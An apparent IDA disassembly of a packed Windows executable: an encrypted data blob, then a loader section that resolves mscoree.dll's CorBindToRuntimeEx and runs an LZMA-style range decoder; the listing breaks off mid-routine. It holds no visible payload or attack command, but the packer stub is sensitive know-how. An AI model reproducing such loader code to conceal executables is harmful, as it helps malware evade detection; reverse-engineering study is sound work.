		dd 43561915h, 95F05376h, 73A97616h, 0EF8CF532h,	2F21B932h
		dd 0BBD1B055h, 6377C0F2h, 7CBF41E0h, 554DA79Dh,	909FE992h
		dd 25C23C29h, 0FCAB7944h, 0F0AD97E9h, 3988498Eh, 3C72B52Ch
		dd 51E9D398h, 6AF45C51h, 820769E4h, 4BF896B9h, 50EC11F7h
		dd 0FE1E5DA8h, 42547BD9h, 7C5D6E8Dh, 0BA87041Ah, 13A8402Bh
		dd 0A4C61820h, 7D27E438h, 2217DEE7h, 0A1CC728Eh, 75834B07h
		dd 50D61D41h, 0B2504739h, 97832ABCh, 0E58AA525h, 81C831A7h
		dd 82ED93EDh, 0FAE7690Ah, 424EC0BBh, 55489BFAh,	53EC0BE7h
		dd 79AA5FD9h, 0CD3F23B1h, 47E21230h, 278278AAh,	8D4CF2B4h
		dd 0EF5B86DDh, 7590E183h
		dd 94D0D671h, 3223F40Eh, 4932A0A2h, 26E905B8h, 8D758FE4h
		dd 2541EE3Dh, 50154E75h, 0C57DC4E2h, 46FDCE61h,	648C45B2h
		dd 63526B78h, 1AC131F1h, 579C9F86h, 0E1947071h,	209B91EEh
		dd 0B7918C2Eh, 0B416A36h, 4AB1B4F4h, 0ED8E7879h, 675992C1h
		dd 93120181h, 807BAF2Ah, 55FBB648h, 0C45E65ABh,	0C75345D2h
		dd 0FE332AB7h, 2F43445h, 803A9AB9h, 58501B57h, 2130F989h
		dd 69C660DBh, 314D9884h, 5B9AB0AEh, 6DAA217Eh, 37970729h
		dd 0C50D3CC6h, 7747138Bh, 9648EA29h, 0AF4A7BC3h, 926BF317h
		dd 8E3DA5F3h, 93DDFB88h, 6514C71h, 8A85E3ACh, 0F8702B19h
		dd 16A5AE4Dh, 0BD406C05h, 2F478275h, 7A11C5EEh,	6F1ED520h
		dd 43098185h, 2069B110h, 922351DEh, 97B6BA32h, 0ADB8AFA2h
		dd 0D6BAD75Ch, 0D2CFC8D6h, 74A8801Bh, 42CF3E91h, 9C54191Bh
		dd 742A27E6h, 0A23A2A58h, 2DE1A5A2h, 71CAF4BBh,	1C3369C6h
		dd 0FA087CC0h, 1DF025B8h, 0AE328597h, 0E1B136B7h, 95FEB5F1h
		dd 81854B8Fh, 0E590D72Ah, 6F774CA6h, 0D24322C4h, 81F9196h
		dd 0B89A3244h, 0F64C2A4Ch, 0F1E89D2Bh, 300A22E0h, 9D63FEB5h
		dd 4F05CA0Ah, 75F4DB86h, 0A35A16B8h, 0A5F01B7Fh, 0BEFEB3B9h
		dd 41C7A7ECh, 10F1AABAh, 37048011h, 0D27FA8BDh,	0A556565Ch
		dd 0E46738C4h, 44DD63E2h, 3F10B31Fh, 826C180h, 0DAC17B66h
		dd 0E5E215DFh, 79AA4CECh, 95E81857h, 9CA96763h,	55A14398h
		dd 0A3419DBh, 530EB4ABh, 0B72D6425h, 6B9B89E7h,	26BAF637h
		dd 3D5FC539h, 312A4794h, 0E03DD02Dh, 0D65F6386h, 0D86DCF0Dh
		dd 46FC2922h, 0B54D0ABh, 40FAFBFAh, 77BF24F9h, 54D94CF9h
		dd 0C2495C61h, 3AECD2FEh, 0A21920EEh, 94FE35A5h, 3CD11B79h
		dd 0BA6E2945h, 8F28295Ch, 0CD71AE5Eh, 4711FCA5h, 12F32AFEh
		dd 0E061D631h, 59A96B79h, 0D8102F35h, 0BEAED04h, 234915C9h
		dd 688336h, 0B2182F2Bh,	5B4AAA7Eh, 6D83FC26h, 6A1B1062h
		dd 2218EA65h, 6506C566h, 3BEBCC92h, 0A6C4AFEDh,	0D5213395h
		dd 62A8A4CCh, 18781CE4h, 0A596BED5h, 0B1C1D5C1h, 4136C3A9h
		dd 9BF15A25h, 287402D0h, 0F053BED6h, 0DE05468Eh, 7CCC2928h
		dd 93CE87Ah, 3A462C13h,	0C8126B6Ah, 8EF3BC41h, 0C9EB4230h
		dd 0DB90D35Dh, 0FE801B4h, 18AACA8Eh, 0DB6B7D9Bh, 38C1C732h
		dd 62004265h, 0C88B7F8h, 0F30A99C0h, 45C13B34h,	0CAA17201h
		dd 0FC6D60BEh, 0AC4C1E5Dh, 0C4D52180h, 8AAA05FFh, 0E679D8BDh
		dd 0B7E13AA0h, 74DBA6C6h, 0A94DD2A8h, 0E824BDD1h, 47F06E6Ah
		dd 5AF7E8BEh, 2D0319F8h, 9F06AB3Eh, 0DEC2C3E4h,	9C8A4B18h
		dd 0F92BD52Eh, 2ABBD61Eh, 31E2CE1h, 0F717C40Dh,	4B9C331Ch
		dd 0CAA5C4D3h, 968B5873h, 0FC17AB56h, 400A1925h, 6E66B355h
		dd 45A8900Ah, 0AB4021EDh, 0BCEC6A43h, 9D822FFh,	51EF4ABCh
		dd 6D9D6E77h, 73A777E6h, 0A78B4812h, 9A233182h,	5A3E317Fh
		dd 884FC180h, 2F81C068h, 0A6902C9h, 35A8CEF6h, 8C325FE7h
		dd 8FC61AFCh, 338E9783h, 5C34AC1Ch, 0AF019BB2h,	0F90B3D71h
		dd 80BBA7E7h, 3457E890h, 56550355h, 0EFC06861h,	0F8433A57h
		dd 5032EFF4h, 276513E0h, 4CA8EFFAh, 0FF431534h,	0E17F5F6Ch
		dd 70C52A17h, 0DD1BB345h, 0BB47A482h, 8205B4C6h, 0E5064DFh
		dd 1C59A024h, 290CACCAh, 335B3A21h, 0B679FEDBh,	0C3287A72h
		dd 8C394A34h, 2B1000E3h, 71CE8DC0h, 2AAC26B3h, 5F996255h
		dd 0BB9F83FAh, 71B96DA5h, 76A43D05h, 8C515D5Fh,	341599F3h
		dd 0A1BC5314h, 6DD3CD9Dh, 0CC9C7393h, 0DA5EBD3Eh, 0D87A6571h
		dd 43664DC0h, 0C1FDC802h, 50039D9Eh, 0BCF3C5CFh, 0FDF2C988h
		dd 0A59E35Fh, 0F3991ECAh, 74CC98B0h, 6301F960h,	9ABADAB0h
		dd 926D9E2Dh, 0AC1864DDh, 7EE9705Bh, 67AB100Dh,	78F4AC20h
		dd 0BEA2D7A3h, 9796A6CFh, 58305D97h, 4E7887Bh, 36312300h
		dd 4D3BAA53h, 5F23BBC5h, 0D6F81A0Ah, 910358BBh,	1ABC9420h
		dd 9F6AE3A8h, 6EC68F87h, 0F9CFB3C2h, 0ADF2E46Eh, 668A0AB3h
		dd 3A819B2h, 5C7B95CEh,	0E2345BA2h, 68A97EBCh, 0B86B13B3h
		dd 742652B8h, 0EC4B72DAh, 0ACD3F85Dh, 0BFC1D17Bh, 0F2585F3Dh
		dd 0E03A13B4h, 0E9AAC7DCh, 7244602Fh, 0E7C2A352h, 2F1BFF6Fh
		dd 0C37E7682h, 0FA9BD87Eh, 92672251h, 4F12D83Ah, 0C46F2704h
		dd 0A5928712h, 2B43127h, 0C916CB01h, 0B4962F51h, 61C8BF4Ah
		dd 46F32F1Ah, 31733D70h, 0B8B9E795h, 0A6B8B65Bh, 0CB2DFEC7h
		dd 0B68C04BCh, 0C81E9D0Ah, 216C1B70h, 0E779DEE5h, 0CAD31B46h
		dd 0A05ABB3Ah, 9BF9ABEEh, 6E0A7445h, 43BC2B45h,	0A8B17A85h
		dd 1D116498h, 2B636620h, 40386258h, 5A94C7F6h, 1F062FF6h
		dd 0C4A75A4Fh, 2F65D722h, 0CF890F64h, 56790899h, 5F4CB50h
		dd 14AA42F6h, 4F88402h,	0B886836Bh, 0E8725889h,	99DC55B9h
		dd 94D05AB2h, 0B23187E0h, 884CF0FAh, 485561EAh,	0E9F0089h
		dd 0C1DAFC32h, 61813E1Dh, 851872Ah, 16023FC3h, 0BCE521ACh
		dd 84D663F9h, 0DD079257h, 5C0D2ADCh, 67CC2F15h,	44E6951h
		dd 0CECC6D4Dh, 8AB749AFh, 0D4B933EDh, 509A2DA2h, 2D2B2266h
		dd 0F4ECA978h, 6F7CEF24h, 666DEA74h, 6A060E70h,	43C7DEEFh
		dd 0C38028EBh, 795B933Bh, 683242C0h, 135900BEh,	2780D3E2h
		dd 0AF8F9147h, 81FB4705h, 0AC9D3812h, 0EB1119F6h, 36B7B5B7h
		dd 0E7DED9ABh, 0C126CC0h, 0D2F830D9h, 0C28FABC6h, 0F7901FCCh
		dd 4E3BEF01h, 0E7F68A04h, 8D87A5EAh, 0A8D6642Eh, 4050A224h
		dd 757E655Fh, 0E1AEE8FFh, 0B19E500Ch, 0DDBB5A30h, 31355B1Fh
		dd 0A796F371h, 0E11ECAA8h, 1F1486B3h, 80BCA18Ch, 0D6273957h
		dd 47BFF259h, 0F6F841E9h, 0D2702804h, 5407845Fh, 7B49B5F5h
		dd 5BD1B224h, 185F2EB1h, 0D8705A00h, 13A66CC7h,	4F6AA6D3h
		dd 38BDD5EAh, 3FD17957h, 6A2FB40h, 77C91C68h, 1E4ADC8Ah
		dd 0C07D4628h, 76FF4410h, 176EDE9Dh, 8C7B2447h,	0AEEC3786h
		dd 7FC942ECh, 76250EBBh, 9C34DD84h, 0CBC5FDC0h,	20FBC848h
		dd 0B7AD1FC6h, 0A40D9FF2h, 95815ED0h, 0BC1D0B8Eh, 0C9E5EDFDh
		dd 1A53E241h, 22317A39h, 0B2CD5509h, 16B9E72Ch,	0E6BB6B87h
		dd 0D8F47BA3h, 0E8CCEAABh, 252F6663h, 0ED6D2E0Eh, 0B17F863Bh
		dd 0C39E4F4Dh, 80514567h, 0E228E748h, 239E1E95h, 21DE5EDEh
		dd 42F75A8Ch, 9E7A6A13h, 596BA383h, 0C3CC0EF2h,	0C05E1F12h
		dd 768DA75Bh, 14AFBA4Dh, 410E558Eh, 17BA3C07h, 7C070156h
		dd 35700192h, 0A97F887Bh, 436C85BFh, 0F2FF2F83h, 28E273B7h
		dd 43C119Dh, 5307F7C5h,	6E8B7FDDh, 9D6DD075h, 4E1202C0h
		dd 6F90891Dh, 5EDF5BACh, 6A5D1740h, 8EA040AAh, 35DD0AA8h
		dd 55711055h, 4F692E90h, 5AF4E015h, 7474B740h, 0B7932977h
		dd 9C6086BFh, 482EF082h, 22497274h, 9CC01B81h, 523F3114h
		dd 510A43CCh, 7F9B221Dh, 0CE25F96Bh, 2B0C81E4h,	0DB539554h
		dd 0D1B5EF84h, 7D1555FCh, 37FFBE49h, 0E2A3D8CFh, 1B963302h
		dd 0BACB994Eh, 0F3EAF7B7h, 0F6161791h, 42591FE5h, 48CB7375h
		dd 57EA48E7h, 56A2C8CAh, 80C5308Ch, 74C28339h, 12577ABBh
		dd 0DEC169FCh, 63369236h, 2B31B6E3h, 5F7FEBABh,	0C393D6E7h
		dd 1890A235h, 1FA0B444h, 9CB77FCDh, 0A9FC5A04h,	3CB9D59h
		dd 3B218910h, 0DF33EFFCh, 0F25A448Eh, 30FEE4D4h, 785416E9h
		dd 0A5C84682h, 0C2E2AB53h, 0A987E798h, 658AA877h, 0C3E08E0Ah
		dd 490CEAB7h, 3073272Bh, 79F6FF6Dh
		db  1Bh
		db 0B5h	; µ
_pdata		ends

; Section 3. (virtual address 00034000)
; Virtual size			: 000017D4 (   6100.)
; Section size in file		: 000017D4 (   6100.)
; Offset to raw	data for section: 00034000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_ex_cod		segment	para public 'CODE' use32
		assume cs:_ex_cod
		;org 434000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_434000	dd 16FCh		; DATA XREF: start:loc_434A55r
					; start+21o
		dd offset sub_435237
		dd 0
dword_43400C	dd 0			; DATA XREF: sub_435237+3r
					; sub_43528D+7w
dword_434010	dd 0			; DATA XREF: sub_435237+32w
					; sub_43528Dr
dword_434014	dd 0			; DATA XREF: sub_435237+3Cw
					; sub_43528D+1Fr
dword_434018	dd 0			; DATA XREF: sub_435237+44w
					; sub_43528D+19r
dword_43401C	dd 0			; DATA XREF: sub_435237+4Cw
					; sub_43528D+13r
dword_434020	dd 0			; DATA XREF: start+116r
off_434024	dd offset dword_4356FC	; DATA XREF: start+26w	start+2Br ...
dword_434028	dd 400000h		; DATA XREF: start+38w	start+4Cr ...
dword_43402C	dd 1			; DATA XREF: start+3Er
					; start:loc_434A96w
		dd 2 dup(0)
aUnexpectedRelo	db 'Unexpected relocation type: *pw = 0x%04x  *pdw = 0x%08x',0
					; DATA XREF: start+734o
aErrorBadReloca	db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+6E4o
aTheHsFileIsL_0	db 'The %hs file is ',0Ah ; DATA XREF: start+595o
		db 'linked to missing export %hs:%hs.',0
		align 10h
aTheHsFileIsLin	db 'The %hs file is ',0Ah ; DATA XREF: start+576o
		db 'linked to missing export %hs:0x%04x.',0
		align 4
aARequired_dllF	db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+48Bo
		align 4
aErrorAllocatin	db 'Error allocating memory!',0 ; DATA XREF: start+200o
		align 10h
dword_434150	dd 5F696DCh, 36632B29h,	38C48BADh, 13A7F29Ch ; DATA XREF: sub_4352B8+131o
aWks:					; DATA XREF: sub_4352B8+F1o
		unicode	0, <wks>,0
aOleaut32_dll	db 'oleaut32.dll',0     ; DATA XREF: sub_4352B8+57o
		align 4
aCorbindtorunti	db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_4352B8+4Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_4352B8+45o
aCouninitialize	db 'CoUninitialize',0   ; DATA XREF: sub_4352B8+38o
		align 4
aCoinitialize	db 'CoInitialize',0     ; DATA XREF: sub_4352B8+2Do
		align 4
aOle32_dll	db 'ole32.dll',0        ; DATA XREF: sub_4352B8+11o
		align 4
		dd 34200h, 2 dup(0)
		dd 34304h, 34234h, 34228h, 2 dup(0)
		dd 3432Ch, 3425Ch, 5 dup(0)
		dd 34268h, 34276h, 34286h, 34298h, 342AAh, 342BEh, 342D0h
		dd 342DEh, 342F4h, 0
		dd 34312h, 3431Eh, 0
dword_434234	dd 77E79E34h		; DATA XREF: sub_434960+ADr start+2E0r ...
dword_434238	dd 77E7980Ah		; DATA XREF: sub_434960+65r start+75r	...
dword_43423C	dd 77E7A5FDh		; DATA XREF: start+523r start+545r ...
dword_434240	dd 77E805B8h		; DATA XREF: start+43Br start+479r
dword_434244	dd 77E79F93h		; DATA XREF: start+425r
dword_434248	dd 77E6169Ah		; DATA XREF: start+40Dr start+5C9r ...
dword_43424C	dd 77E75CB5h		; DATA XREF: start+20Fr start+4AEr ...
dword_434250	dd 77E7A099h		; DATA XREF: start+AAr
dword_434254	dd 77E805D8h		; DATA XREF: sub_4352B8+9r
		dd 0
dword_43425C	dd 77D4C96Ah		; DATA XREF: start+493r start+57Er ...
dword_434260	dd 77D6ADD7h		; DATA XREF: start+207r start+4A6r ...
		align 8
		dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 6F4C0249h,	694C6461h, 72617262h, 41784579h
		dd 1770000h, 4D746547h,	6C75646Fh, 6E614865h, 41656C64h
		dd 37B0000h, 74726956h,	506C6175h, 65746F72h, 7463h, 784500AFh
		dd 72507469h, 7365636Fh, 1750073h
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 4
		dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 2D50000h,	72707377h, 66746E69h, 1DE0041h
		dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h
		dd 6C6Ch
; ---------------------------------------------------------------------------


loc_434338:				; DATA XREF: sub_4352B8+E5o
		and	ah, [edi+2Fh]
		retf
; ---------------------------------------------------------------------------
		cmp	ch, [ebx+409C11D2h]
		add	al, al
		dec	edi
		mov	ds:67233E0Ah, eax ; DATA XREF: sub_4352B8+EAo
		das
		retf
; ---------------------------------------------------------------------------
		dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434358	proc near		; CODE XREF: sub_4345EB+309p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	esi
		xor	eax, eax
		mov	esi, [ecx+8]
		push	edi
		mov	edi, [ecx+0Ch]
		test	edx, edx
		jle	short loc_4343B0
		push	ebx
		mov	[ebp+arg_0], edx


loc_434373:				; CODE XREF: sub_434358+55j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_43437F
		sub	edi, esi
		or	al, 1


loc_43437F:				; CODE XREF: sub_434358+21j
		cmp	esi, 1000000h
		jnb	short loc_4343AA
		mov	edx, [ecx]
		shl	esi, 8
		cmp	edx, [ecx+4]
		jnz	short loc_43439D
		mov	dword ptr [ecx+10h], 1
		or	bl, 0FFh
		jmp	short loc_4343A2
; ---------------------------------------------------------------------------


loc_43439D:				; CODE XREF: sub_434358+37j
		mov	bl, [edx]
		inc	edx
		mov	[ecx], edx


loc_4343A2:				; CODE XREF: sub_434358+43j
		movzx	edx, bl
		shl	edi, 8
		or	edi, edx


loc_4343AA:				; CODE XREF: sub_434358+2Dj
		dec	[ebp+arg_0]
		jnz	short loc_434373
		pop	ebx


loc_4343B0:				; CODE XREF: sub_434358+15j
		mov	[ecx+0Ch], edi
		mov	[ecx+8], esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_434358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4343BA	proc near		; CODE XREF: sub_43447F+1Dp
					; sub_4344B6+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	eax, [ecx+8]
		movzx	esi, word ptr [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, esi
		mov	esi, [ecx+0Ch]
		cmp	esi, edi
		jnb	short loc_43442B
		mov	[ecx+8], edi
		mov	ax, [edx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[edx], di
		mov	eax, [ecx+8]
		cmp	eax, 1000000h
		jnb	short loc_434427
		mov	esi, [ecx]
		cmp	esi, [ecx+4]
		jnz	short loc_43440E
		mov	dword ptr [ecx+10h], 1
		or	dl, 0FFh
		jmp	short loc_434413
; ---------------------------------------------------------------------------


loc_43440E:				; CODE XREF: sub_4343BA+46j
		mov	dl, [esi]
		inc	esi
		mov	[ecx], esi


loc_434413:				; CODE XREF: sub_4343BA+52j
		mov	esi, [ecx+0Ch]
		movzx	edx, dl
		shl	esi, 8
		or	esi, edx
		shl	eax, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], eax


loc_434427:				; CODE XREF: sub_4343BA+3Fj
		xor	eax, eax
		jmp	short loc_43447C
; ---------------------------------------------------------------------------


loc_43442B:				; CODE XREF: sub_4343BA+1Dj
		sub	eax, edi
		sub	esi, edi
		mov	[ecx+8], eax
		mov	[ecx+0Ch], esi
		mov	ax, [edx]
		push	1
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[edx], ax
		mov	edx, [ecx+8]
		cmp	edx, 1000000h
		pop	eax
		jnb	short loc_43447C
		mov	esi, [ecx]
		push	ebx
		cmp	esi, [ecx+4]
		jnz	short loc_434462
		mov	[ecx+10h], eax
		or	bl, 0FFh
		jmp	short loc_434467
; ---------------------------------------------------------------------------


loc_434462:				; CODE XREF: sub_4343BA+9Ej
		mov	bl, [esi]
		inc	esi
		mov	[ecx], esi


loc_434467:				; CODE XREF: sub_4343BA+A6j
		mov	esi, [ecx+0Ch]
		movzx	edi, bl
		shl	esi, 8
		or	esi, edi
		pop	ebx
		shl	edx, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], edx


loc_43447C:				; CODE XREF: sub_4343BA+6Fj
					; sub_4343BA+96j
		pop	edi
		pop	esi
		retn
sub_4343BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43447F	proc near		; CODE XREF: sub_434576+26p
					; sub_434576+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	1
		pop	eax
		jle	short loc_4344AA
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]


loc_434490:				; CODE XREF: sub_43447F+27j
		push	[ebp+arg_8]
		lea	esi, [eax+eax]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_4343BA
		pop	ecx
		add	eax, esi
		dec	edi
		pop	ecx
		jnz	short loc_434490
		pop	edi
		pop	esi


loc_4344AA:				; CODE XREF: sub_43447F+Aj
		mov	ecx, [ebp+arg_4]
		push	1
		pop	edx
		shl	edx, cl
		sub	eax, edx
		pop	ebp
		retn
sub_43447F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4344B6	proc near		; CODE XREF: sub_4345EB+2F5p
					; sub_4345EB+320p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		xor	ebx, ebx
		push	1
		xor	edi, edi
		cmp	[esp+0Ch+arg_4], ebx
		pop	edx
		jle	short loc_4344EC
		push	esi


loc_4344C6:				; CODE XREF: sub_4344B6+33j
		mov	eax, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_8]
		lea	esi, [edx+edx]
		add	eax, esi
		push	eax
		call	sub_4343BA
		pop	ecx
		lea	edx, [esi+eax]
		pop	ecx
		mov	ecx, edi
		shl	eax, cl
		or	ebx, eax
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		jl	short loc_4344C6
		pop	esi


loc_4344EC:				; CODE XREF: sub_4344B6+Dj
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_4344B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4344F1	proc near		; CODE XREF: sub_4345EB+143p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		shl	[ebp+arg_8], 1
		mov	eax, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		shl	eax, 9
		lea	eax, [eax+edi+202h]
		push	eax
		call	sub_4343BA
		pop	ecx
		mov	ebx, eax
		pop	ecx
		or	ebx, 2


loc_434520:				; CODE XREF: sub_4344F1+5Fj
		cmp	esi, eax
		jnz	short loc_434552
		cmp	ebx, 100h
		jge	short loc_43456F
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		push	[ebp+arg_4]
		lea	eax, [esi+1]
		shl	[ebp+arg_8], 1
		shl	eax, 8
		add	eax, ebx
		lea	eax, [edi+eax*2]
		push	eax
		call	sub_4343BA
		pop	ecx
		add	ebx, ebx
		pop	ecx
		or	ebx, eax
		jmp	short loc_434520
; ---------------------------------------------------------------------------


loc_434552:				; CODE XREF: sub_4344F1+31j
		mov	esi, 100h


loc_434557:				; CODE XREF: sub_4344F1+7Cj
		cmp	ebx, esi
		jge	short loc_43456F
		push	[ebp+arg_4]
		add	ebx, ebx
		lea	eax, [ebx+edi]
		push	eax
		call	sub_4343BA
		pop	ecx
		or	ebx, eax
		pop	ecx
		jmp	short loc_434557
; ---------------------------------------------------------------------------


loc_43456F:				; CODE XREF: sub_4344F1+39j
					; sub_4344F1+68j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4344F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_434576	proc near		; CODE XREF: sub_4345EB+24Fp
					; sub_4345EB+29Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	esi
		call	sub_4343BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4345A6
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+4]
		push	eax
		call	sub_43447F
		add	esp, 0Ch
		jmp	short loc_4345E8
; ---------------------------------------------------------------------------


loc_4345A6:				; CODE XREF: sub_434576+16j
		lea	eax, [esi+2]
		push	eax
		call	sub_4343BA
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_4345D4
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+104h]
		push	eax
		call	sub_43447F
		add	esp, 0Ch
		add	eax, 8
		jmp	short loc_4345E8
; ---------------------------------------------------------------------------


loc_4345D4:				; CODE XREF: sub_434576+3Ej
		add	esi, 204h
		push	8
		push	esi
		call	sub_43447F
		add	esp, 0Ch
		add	eax, 10h


loc_4345E8:				; CODE XREF: sub_434576+2Ej
					; sub_434576+5Cj
		pop	edi
		pop	esi
		retn
sub_434576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4345EB	proc near		; CODE XREF: sub_434960+95p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		push	1
		pop	edx
		xor	bl, bl
		lea	ecx, [eax+edi]
		mov	eax, 300h
		shl	eax, cl
		xor	ecx, ecx
		mov	esi, edx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+arg_C], ecx
		mov	ecx, [ebp+arg_10]
		shl	esi, cl
		add	eax, 736h
		mov	ecx, edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_18], edx
		dec	esi
		mov	[ebp+var_1C], esi
		mov	esi, edx
		shl	esi, cl
		dec	esi
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_0]
		test	eax, eax
		jbe	short loc_434653
		mov	ecx, eax
		mov	eax, 4000400h
		mov	edi, esi
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw


loc_434653:				; CODE XREF: sub_4345EB+54j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		and	[ebp+var_24], 0
		and	[ebp+var_28], 0
		or	[ebp+var_2C], 0FFFFFFFFh
		lea	edi, [eax+ecx]
		mov	[ebp+var_34], eax
		mov	[ebp+var_30], edi
		mov	[ebp+arg_10], 5


loc_434675:				; CODE XREF: sub_4345EB+AFj
		cmp	[ebp+var_34], edi
		jnz	short loc_434681
		mov	[ebp+var_24], edx
		or	al, 0FFh
		jmp	short loc_434689
; ---------------------------------------------------------------------------


loc_434681:				; CODE XREF: sub_4345EB+8Dj
		mov	eax, [ebp+var_34]
		mov	al, [eax]
		inc	[ebp+var_34]


loc_434689:				; CODE XREF: sub_4345EB+94j
		mov	ecx, [ebp+var_28]
		movzx	eax, al
		shl	ecx, 8
		or	ecx, eax
		dec	[ebp+arg_10]
		mov	[ebp+var_28], ecx
		jnz	short loc_434675
		mov	eax, [ebp+arg_24]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_20], 0
		jbe	loc_434951


loc_4346AC:				; CODE XREF: sub_4345EB+360j
		mov	edi, [ebp+var_1C]
		lea	eax, [ebp+var_34]
		and	edi, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		add	eax, edi
		lea	eax, [esi+eax*2]
		push	eax
		call	sub_4343BA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_434761
		mov	edx, [ebp+var_20]
		mov	cl, 8
		sub	cl, byte ptr [ebp+arg_8]
		and	edx, [ebp+arg_C]
		movzx	eax, bl
		shr	eax, cl
		mov	ecx, [ebp+arg_8]
		shl	edx, cl
		add	eax, edx
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	[ebp+var_4], 4
		lea	edi, [eax+esi+0E6Ch]
		jge	short loc_434701
		and	[ebp+var_4], 0
		jmp	short loc_434711
; ---------------------------------------------------------------------------


loc_434701:				; CODE XREF: sub_4345EB+10Ej
		cmp	[ebp+var_4], 0Ah
		jge	short loc_43470D
		sub	[ebp+var_4], 3
		jmp	short loc_434711
; ---------------------------------------------------------------------------


loc_43470D:				; CODE XREF: sub_4345EB+11Aj
		sub	[ebp+var_4], 6


loc_434711:				; CODE XREF: sub_4345EB+114j
					; sub_4345EB+120j
		cmp	[ebp+var_14], 0
		jz	short loc_43473E
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_1C]
		sub	eax, [ebp+var_8]
		mov	al, [eax+ecx]
		mov	byte ptr [ebp+arg_10], al
		lea	eax, [ebp+var_34]
		push	[ebp+arg_10]
		push	eax
		push	edi
		call	sub_4344F1
		add	esp, 0Ch
		and	[ebp+var_14], 0
		mov	bl, al
		jmp	short loc_43475C
; ---------------------------------------------------------------------------


loc_43473E:				; CODE XREF: sub_4345EB+12Aj
		push	1
		pop	ebx


